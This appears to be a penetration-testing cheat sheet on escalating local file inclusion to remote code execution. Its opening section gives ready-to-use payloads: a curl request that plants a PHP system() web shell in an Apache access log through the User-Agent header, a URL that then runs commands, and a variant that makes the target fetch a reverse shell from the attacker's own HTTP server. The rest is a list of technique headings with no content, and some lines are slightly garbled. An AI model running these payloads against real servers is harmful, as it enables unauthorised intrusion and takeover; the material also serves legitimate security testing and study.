LFI to RCE
Log Poisoning
LFI to RCE via Apache Log File Poisoning (PHP)
Example URL: http//10.10.10.10/index.php?file=../../../../../../../var/log/apache2/access.log
Payload: curl "http://192.168.8.108/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
Execute RCE: http//10.10.10.10/index.php?file=../../../../../../../var/log/apache2/access.log&c=id
OR
python -m SimpleHTTPServer 9000
Payload: curl "http://<remote_ip>/" -H "User-Agent: <?php file_put_contents('shell.php',file_get_contents('http://<local_ip>:9000/shell-php-rev.php')) ?>"
file_put_contents('shell.php') // What it will be saved locally on the target
file_get_contents('http://<local_ip>:9000/shell-php-rev.php') // Where is the shell on YOUR pc and WHAT is it called
Execute PHP Reverse Shell: http//10.10.10.10/shell.php
LFI to RCE via SSH Log File Poisoning (PHP)
LFI to RCE via SMTP Log File Poisoning (PHP)
Log Files
Proc Environ Injection

Remote File Inclusion
Via Email
Via /proc/*/fd/*
Via /proc/self/environ
Via upload
Via Zip fie upload
Via PHP sessions
Via ssh
Via vsftpd logs
Via php base64 filter (using base64)
Via php filters (no file needed)
Via segmentation fault
Via Nginx temp file storage
Via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Via pearcmd.php + URL args
pearcmd.php + URL argsVia phpinfo() (file_uploads = on)
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
PHP_STREAM_PREFER_STUDIO + Path DisclosureVia eternal waiting + bruteforce
To Fatal Error

Last updated